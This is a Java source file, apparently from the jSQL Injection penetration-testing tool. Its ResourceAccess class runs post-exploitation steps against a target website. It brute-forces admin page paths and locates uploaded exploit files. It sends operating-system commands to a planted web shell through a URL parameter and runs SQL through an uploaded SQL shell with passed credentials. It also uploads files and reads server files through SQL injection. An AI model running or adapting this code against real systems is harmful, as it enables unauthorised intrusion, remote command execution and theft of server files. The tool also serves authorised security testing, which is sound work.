View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    * 
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   ******************************************************************************/
11  package com.jsql.model.accessible;
12  
13  import com.jsql.model.InjectionModel;
14  import com.jsql.model.accessible.engine.*;
15  import com.jsql.model.bean.database.MockElement;
16  import com.jsql.model.suspendable.Input;
17  import com.jsql.view.subscriber.Seal;
18  import com.jsql.model.exception.JSqlException;
19  import com.jsql.model.suspendable.SuspendableGetRows;
20  import com.jsql.util.ConnectionUtil;
21  import com.jsql.util.LogLevelUtil;
22  import org.apache.commons.lang3.StringUtils;
23  import org.apache.logging.log4j.LogManager;
24  import org.apache.logging.log4j.Logger;
25  
26  import java.io.File;
27  import java.io.IOException;
28  import java.io.InputStream;
29  import java.net.URI;
30  import java.net.URLEncoder;
31  import java.net.http.HttpHeaders;
32  import java.net.http.HttpRequest;
33  import java.net.http.HttpRequest.BodyPublishers;
34  import java.net.http.HttpResponse;
35  import java.net.http.HttpResponse.BodyHandlers;
36  import java.nio.charset.StandardCharsets;
37  import java.nio.file.Files;
38  import java.nio.file.Paths;
39  import java.time.Duration;
40  import java.util.*;
41  import java.util.concurrent.CompletionService;
42  import java.util.concurrent.ExecutionException;
43  import java.util.concurrent.ExecutorCompletionService;
44  import java.util.concurrent.ExecutorService;
45  import java.util.function.BinaryOperator;
46  import java.util.regex.Pattern;
47  
48  /**
49   * Resource access object.
50   * Get information from file system, commands, webpage.
51   */
52  public class ResourceAccess {
53      
54      private static final Logger LOGGER = LogManager.getRootLogger();
55  
56      /**
57       * True if admin page should stop, false otherwise.
58       */
59      private boolean isSearchAdminStopped = false;
60      
61      /**
62       * True if scan list should stop, false otherwise.
63       */
64      private boolean isScanStopped = false;
65  
66      /**
67       * True if ongoing file reading must stop, false otherwise.
68       * If true any new file read is cancelled at start.
69       */
70      private boolean isSearchFileStopped = false;
71  
72      /**
73       * List of ongoing jobs.
74       */
75      private final List<CallableFile> callablesReadFile = new ArrayList<>();
76      private final InjectionModel injectionModel;
77      private final ExploitSqlite exploitSqlite;
78      private final ExploitMysql exploitMysql;
79      private final ExploitOracle exploitOracle;
80      private final ExploitPostgres exploitPostgres;
81      private final ExploitHsqldb exploitHsqldb;
82      private final ExploitH2 exploitH2;
83      private final ExploitDerby exploitDerby;
84  
85      // compatible cross-platform win+linux (spaces around plus sign required)
86      public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
87      public static final String WEB_CONFIRM_RESULT = "133717331";
88      public static final String SQL_CONFIRM_CMD = "select 1337";
89      public static final String SQL_CONFIRM_RESULT = "| 1337 |";
90  
91      public static final String SQL_DOT_PHP = "sql.php";
92      public static final String EXPLOIT_DOT_UPL = "exploit.upl";
93      public static final String EXPLOIT_DOT_WEB = "exploit.web";
94      public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
95      public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
96  
97      public static final String LOID_NOT_FOUND = "Exploit loid not found";
98      public static final String ADD_LOID = "loid#create";
99      public static final String WRITE_LOID = "loid#write";
100     public static final String READ_LOID = "loid#read";
101 
102     public static final String DROP_FUNC = "func#drop";
103     public static final String ADD_FUNC = "body#add-func";
104     public static final String RUN_FUNC = "body#run-func";
105     public static final String BODY_CONFIRM = "body#confirm";
106     public static final String UDF_RUN_CMD = "udf#run-cmd";
107 
108     public static final String TBL_CREATE = "tbl#create";
109     public static final String TBL_FILL = "tbl#fill";
110     public static final String TBL_DUMP = "tbl#dump";
111     public static final String TBL_DROP = "tbl#drop";
112     public static final String TBL_READ = "tbl#read";
113 
114     public static final String FILE_READ = "file#read";
115 
116     // TODO should redirect error directly to default output
117     public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
118 
119     public ResourceAccess(InjectionModel injectionModel) {
120         this.injectionModel = injectionModel;
121         this.exploitSqlite = new ExploitSqlite(injectionModel);
122         this.exploitMysql = new ExploitMysql(injectionModel);
123         this.exploitOracle = new ExploitOracle(injectionModel);
124         this.exploitPostgres = new ExploitPostgres(injectionModel);
125         this.exploitHsqldb = new ExploitHsqldb(injectionModel);
126         this.exploitH2 = new ExploitH2(injectionModel);
127         this.exploitDerby = new ExploitDerby(injectionModel);
128     }
129 
130     /**
131      * Check if every page in the list responds 200 Success.
132      * @param pageNames    List of admin pages to test
133      */
134     public int createAdminPages(String urlInjection, List<String> pageNames) {
135         var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
136         matcher.find();
137         String urlProtocol = matcher.group(1);
138         String urlWithoutProtocol = matcher.group(3);
139 
140         List<String> folderSplits = new ArrayList<>();
141 
142         // Hostname only
143         if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
144             urlWithoutProtocol = "/dummy";
145         }
146         String[] splits = urlWithoutProtocol.split("/", -1);
147         String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
148         for (String folderName: folderNames) {
149             folderSplits.add(folderName +"/");
150         }
151 
152         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetAdminPage");
153         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
154 
155         var urlPart = new StringBuilder();
156         for (String segment: folderSplits) {
157             urlPart.append(segment);
158             for (String pageName: pageNames) {
159                 taskCompletionService.submit(
160                     new CallableHttpHead(
161                         urlProtocol + urlPart + pageName,
162                         this.injectionModel,
163                         "check:page"
164                     )
165                 );
166             }
167         }
168 
169         var nbAdminPagesFound = 0;
170         int submittedTasks = folderSplits.size() * pageNames.size();
171         int tasksHandled;
172         for (
173             tasksHandled = 0
174             ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
175             ; tasksHandled++
176         ) {
177             nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
178         }
179 
180         this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
181         this.isSearchAdminStopped = false;
182         this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
183 
184         return nbAdminPagesFound;
185     }
186 
187     public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
188         int nbAdminPagesFoundFixed = nbAdminPagesFound;
189         
190         try {
191             CallableHttpHead currentCallable = taskCompletionService.take().get();
192             if (currentCallable.isHttpResponseOk()) {
193                 this.injectionModel.sendToViews(new Seal.CreateAdminPageTab(currentCallable.getUrl()));
194                 nbAdminPagesFoundFixed++;
195                 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
196             }
197         } catch (InterruptedException e) {
198             LOGGER.log(LogLevelUtil.IGNORE, e, e);
199             Thread.currentThread().interrupt();
200         } catch (ExecutionException e) {
201             LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
202         }
203         return nbAdminPagesFoundFixed;
204     }
205 
206     public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
207         var result = String.format(
208             "Searched %s/%s page%s: %s found",
209             tasksHandled,
210             submittedTasks,
211             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
212             nbAdminPagesFound
213         );
214         
215         if (nbAdminPagesFound > 0) {
216             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
217         } else {
218             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
219         }
220     }
221 
222     public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
223         String urlExploitFixed = urlExploit;
224         if (!urlExploitFixed.isEmpty()) {
225             urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
226         }
227         String url = urlExploitFixed;
228         if (StringUtils.isEmpty(url)) {
229             url = this.injectionModel.getMediatorUtils().connectionUtil().getUrlBase();
230         }
231         String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
232         String urlProtocol;
233         if ("/".equals(urlWithoutProtocol)) {
234             urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
235         } else {
236             urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
237         }
238 
239         List<String> directoryNames = new ArrayList<>();
240         String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
241         if (urlWithoutFileName.split("/").length == 0) {
242             directoryNames.add("/");
243         }
244         for (String directoryName: urlWithoutFileName.split("/")) {
245             directoryNames.add(directoryName +"/");
246         }
247         String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
248         if (urlSuccess != null) {
249             urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
250         } else {
251             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
252         }
253         return urlSuccess;
254     }
255 
256     private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
257         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableGetExploitUrl");
258         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
259         var urlPart = new StringBuilder();
260 
261         for (String segment: directoryNames) {
262             urlPart.append(segment);
263             taskCompletionService.submit(
264                 new CallableHttpHead(
265                     urlProtocol + urlPart + filename,
266                     this.injectionModel,
267                     "xplt#confirm-url"
268                 )
269             );
270         }
271 
272         String urlSuccess = null;
273         int submittedTasks = directoryNames.size();
274         for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
275             try {
276                 CallableHttpHead currentCallable = taskCompletionService.take().get();
277                 if (currentCallable.isHttpResponseOk()) {
278                     urlSuccess = currentCallable.getUrl();
279                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Connection successful to [{}]", currentCallable.getUrl());
280                     break;
281                 }
282             } catch (InterruptedException e) {
283                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
284                 Thread.currentThread().interrupt();
285             } catch (ExecutionException e) {
286                 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
287             }
288         }
289 
290         this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
291         return urlSuccess;
292     }
293 
294     public String callCommand(String urlCommand) {
295         return this.callCommand(urlCommand, false);
296     }
297 
298     public String callCommand(String urlCommand, boolean isConnectIssueIgnored) {
299         String pageSource;
300         try {
301             pageSource = this.injectionModel.getMediatorUtils().connectionUtil().getSource(urlCommand, isConnectIssueIgnored);
302         } catch (Exception e) {
303             pageSource = StringUtils.EMPTY;
304         }
305         
306         var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
307         regexSearch.find();
308 
309         String result;
310         // IllegalStateException #1544: catch incorrect execution
311         try {
312             result = regexSearch.group(1);
313         } catch (IllegalStateException e) {
314             result = StringUtils.EMPTY;  // fix return null from regex
315             if (!isConnectIssueIgnored) {
316                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
317             }
318         }
319         return result;
320     }
321     
322     /**
323      * Run a shell command on host.
324      * @param command The command to execute
325      * @param uuidShell An unique identifier for terminal
326      * @param urlExploit Web path of the shell
327      */
328     public String runWebShell(String command, UUID uuidShell, String urlExploit) {
329         return this.runWebShell(command, uuidShell, urlExploit, false);
330     }
331     public String runWebShell(String command, UUID uuidShell, String urlExploit, boolean isConnectIssueIgnored) {
332         String result = this.callCommand(
333             urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
334             isConnectIssueIgnored
335         );
336         if (StringUtils.isBlank(result)) {
337             result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
338         }
339         this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));  // Unfreeze GUI terminal
340         return result;
341     }
342 
343     /**
344      * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
345      * @param command SQL request to execute
346      * @param uuidShell Identifier of terminal sending the request
347      * @param urlExploit URL to send SQL request against
348      * @param username Username [optional]
349      * @param password password [optional]
350      */
351     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
352         return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
353     }
354 
355     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
356         String result = this.callCommand(String.format(
357              "%s?q=%s&u=%s&p=%s",
358              urlExploit,
359              URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
360              username,
361              password
362         ));
363             
364         if (result.contains("<SQLr>")) {
365             List<List<String>> listRows = this.parse(result);
366             if (listRows.isEmpty()) {
367                 result = "Result not found: check your credentials or review logs in tab Network\n";
368             } else {
369                 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
370                 result = this.convert(listRows, listFieldsLength);
371             }
372         }
373 
374         if (isResultSentToView) {
375             this.injectionModel.sendToViews(new Seal.GetTerminalResult(uuidShell, result));  // Unfreeze GUI terminal
376         }
377         return result;
378     }
379 
380     private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
381         var tableText = new StringBuilder("+");
382         for (Integer fieldLength: listFieldsLength) {
383             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
384         }
385         tableText.append("\n");
386         for (List<String> listFields: listRows) {
387             tableText.append("|");
388             var cursorPosition = 0;
389             for (String field: listFields) {
390                 tableText.append(StringUtils.SPACE)
391                     .append(field)
392                     .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
393                     .append(" |");
394                 cursorPosition++;
395             }
396             tableText.append("\n");
397         }
398         tableText.append("+");
399         for (Integer fieldLength: listFieldsLength) {
400             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
401         }
402         tableText.append("\n");
403         return tableText.toString();
404     }
405 
406     private List<Integer> parseColumnLength(List<List<String>> listRows) {
407         List<Integer> listFieldsLength = new ArrayList<>();
408         for (
409             var indexLongestRowSearch = 0;
410             indexLongestRowSearch < listRows.getFirst().size();
411             indexLongestRowSearch++
412         ) {
413             int indexLongestRowSearchFinal = indexLongestRowSearch;
414             listRows.sort(
415                 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
416             );
417             listFieldsLength.add(listRows.getFirst().get(indexLongestRowSearch).length());
418         }
419         return listFieldsLength;
420     }
421 
422     private List<List<String>> parse(String result) {
423         List<List<String>> listRows = new ArrayList<>();
424         var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
425         while (rowsMatcher.find()) {
426             String values = rowsMatcher.group(1);
427             var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
428             List<String> listFields = new ArrayList<>();
429             listRows.add(listFields);
430             
431             while (fieldsMatcher.find()) {
432                 String field = fieldsMatcher.group(1);
433                 listFields.add(field);
434             }
435         }
436         return listRows;
437     }
438 
439     public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
440         var crLf = "\r\n";
441         var boundary = "---------------------------4664151417711";
442         
443         var streamData = new byte[streamToUpload.available()];
444         if (streamToUpload.read(streamData) == -1) {
445             throw new JSqlException("Error reading the file");
446         }
447         
448         String headerForm = StringUtils.EMPTY;
449         headerForm += "--"+ boundary + crLf;
450         headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
451         headerForm += "Content-Type: binary/octet-stream"+ crLf;
452         headerForm += crLf;
453 
454         String headerFile = StringUtils.EMPTY;
455         headerFile += crLf +"--"+ boundary +"--"+ crLf;
456 
457         var httpRequest = HttpRequest.newBuilder()
458             .uri(URI.create(url))
459             .timeout(Duration.ofSeconds(15))
460             .POST(BodyPublishers.ofByteArrays(
461                 Arrays.asList(
462                     headerForm.getBytes(StandardCharsets.UTF_8),
463                     Files.readAllBytes(Paths.get(file.toURI())),
464                     headerFile.getBytes(StandardCharsets.UTF_8)
465                 )
466             ))
467             .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
468             .build();
469 
470         var response = this.injectionModel.getMediatorUtils().connectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
471         HttpHeaders httpHeaders = response.headers();
472         String pageSource = response.body();
473 
474         this.injectionModel.sendToViews(new Seal.MessageHeader(
475             url,
476             null,
477             ConnectionUtil.getHeadersMap(httpRequest.headers()),
478             ConnectionUtil.getHeadersMap(httpHeaders),
479             pageSource,
480             null,
481             null,
482             "upl#multipart",
483             null
484         ));
485         return response;
486     }
487     
488     /**
489      * Check if current user can read files.
490      * @return True if user can read file, false otherwise
491      * @throws JSqlException when an error occurs during injection
492      */
493     public boolean isMysqlReadDenied() throws JSqlException {
494         var sourcePage = new String[]{ StringUtils.EMPTY };
495         String resultInjection = new SuspendableGetRows(this.injectionModel).run(new Input(
496             this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
497             sourcePage,
498             false,
499             1,
500             MockElement.MOCK,
501             "privilege"
502         ));
503 
504         boolean readingIsAllowed = false;
505 
506         if (StringUtils.isEmpty(resultInjection)) {
507             this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
508             this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
509         } else if ("false".equals(resultInjection)) {
510             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
511             this.injectionModel.sendToViews(new Seal.MarkFileSystemInvulnerable());
512         } else {
513             this.injectionModel.sendToViews(new Seal.MarkFileSystemVulnerable());
514             readingIsAllowed = true;
515         }
516         
517         return !readingIsAllowed;
518     }
519 
520     /**
521      * Attempt to read files in parallel by their path from the website using injection.
522      * Reading file needs a FILE right on the server.
523      * The user can interrupt the process at any time.
524      * @param pathsFiles List of file paths to read
525      * @throws JSqlException when an error occurs during injection
526      * @throws InterruptedException if the current thread was interrupted while waiting
527      * @throws ExecutionException if the computation threw an exception
528      */
529     public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
530         if (
531             this.injectionModel.getMediatorEngine().getEngine() == this.injectionModel.getMediatorEngine().getMysql()
532             && this.isMysqlReadDenied()
533         ) {
534             return Collections.emptyList();
535         }
536 
537         var countFileFound = 0;
538         var results = new ArrayList<String>();
539 
540         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().threadUtil().getExecutor("CallableReadFile");
541         CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
542 
543         for (String pathFile: pathsFiles) {
544             var callableFile = new CallableFile(pathFile, this.injectionModel);
545             taskCompletionService.submit(callableFile);
546             this.callablesReadFile.add(callableFile);
547         }
548 
549         List<String> duplicate = new ArrayList<>();
550         int submittedTasks = pathsFiles.size();
551         int tasksHandled;
552 
553         for (
554             tasksHandled = 0
555             ; tasksHandled < submittedTasks && !this.isSearchFileStopped
556             ; tasksHandled++
557         ) {
558             var currentCallable = taskCompletionService.take().get();
559             if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
560                 var name = currentCallable.getPathFile().substring(
561                     currentCallable.getPathFile().lastIndexOf('/') + 1
562                 );
563                 String content = currentCallable.getSourceFile();
564                 String path = currentCallable.getPathFile();
565 
566                 this.injectionModel.sendToViews(new Seal.CreateFileTab(name, content, path));
567 
568                 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
569                     LOGGER.log(
570                         LogLevelUtil.CONSOLE_INFORM,
571                         "Folder exploit candidate: {}",
572                         () -> path.replace(name, StringUtils.EMPTY)
573                     );
574                 }
575 
576                 duplicate.add(path.replace(name, StringUtils.EMPTY));
577                 results.add(content);
578 
579                 countFileFound++;
580             }
581         }
582 
583         // Force ongoing suspendables to stop immediately
584         for (CallableFile callableReadFile: this.callablesReadFile) {
585             callableReadFile.getSuspendableReadFile().stop();
586         }
587         this.callablesReadFile.clear();
588         this.injectionModel.getMediatorUtils().threadUtil().shutdown(taskExecutor);
589         this.isSearchFileStopped = false;
590 
591         var result = String.format(
592             "Searched %s/%s file%s: %s found",
593             tasksHandled,
594             submittedTasks,
595             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
596             countFileFound
597         );
598 
599         if (countFileFound > 0) {
600             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
601         } else {
602             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
603         }
604         return results;
605     }
606 
607     public String getResult(String query, String metadata) throws JSqlException {
608         var sourcePage = new String[]{ StringUtils.EMPTY };
609         return new SuspendableGetRows(this.injectionModel).run(new Input(
610             query,
611             sourcePage,
612             false,
613             0,
614             MockElement.MOCK,
615             metadata
616         ));
617     }
618 
619     public String getResultWithCatch(String query, String metadata) {
620         var sourcePage = new String[]{ StringUtils.EMPTY };
621         try {
622             return new SuspendableGetRows(this.injectionModel).run(new Input(
623                 query,
624                 sourcePage,
625                 false,
626                 0,
627                 MockElement.MOCK,
628                 metadata
629             ));
630         } catch (JSqlException ignored) {
631             return StringUtils.EMPTY;
632         }
633     }
634 
635     /**
636      * Mark the search of files to stop.
637      * Any ongoing file reading is interrupted and any new file read
638      * is cancelled.
639      */
640     public void stopSearchFile() {
641         this.isSearchFileStopped = true;
642         for (CallableFile callable: this.callablesReadFile) {
643             callable.getSuspendableReadFile().stop();  // force ongoing business to stop immediately
644         }
645     }
646 
647     public void stopSearchAdmin() {
648         this.isSearchAdminStopped = true;
649     }
650 
651 
652     // Getters and setters
653 
654     public ExploitSqlite getExploitSqlite() {
655         return this.exploitSqlite;
656     }
657 
658     public ExploitMysql getExploitMysql() {
659         return this.exploitMysql;
660     }
661 
662     public ExploitOracle getExploitOracle() {
663         return this.exploitOracle;
664     }
665 
666     public ExploitPostgres getExploitPostgres() {
667         return this.exploitPostgres;
668     }
669 
670     public boolean isSearchAdminStopped() {
671         return this.isSearchAdminStopped;
672     }
673     
674     public void setScanStopped(boolean isScanStopped) {
675         this.isScanStopped = isScanStopped;
676     }
677 
678     public boolean isScanStopped() {
679         return this.isScanStopped;
680     }
681 
682     public ExploitHsqldb getExploitHsqldb() {
683         return this.exploitHsqldb;
684     }
685 
686     public ExploitH2 getExploitH2() {
687         return this.exploitH2;
688     }
689 
690     public ExploitDerby getExploitDerby() {
691         return this.exploitDerby;
692     }
693 }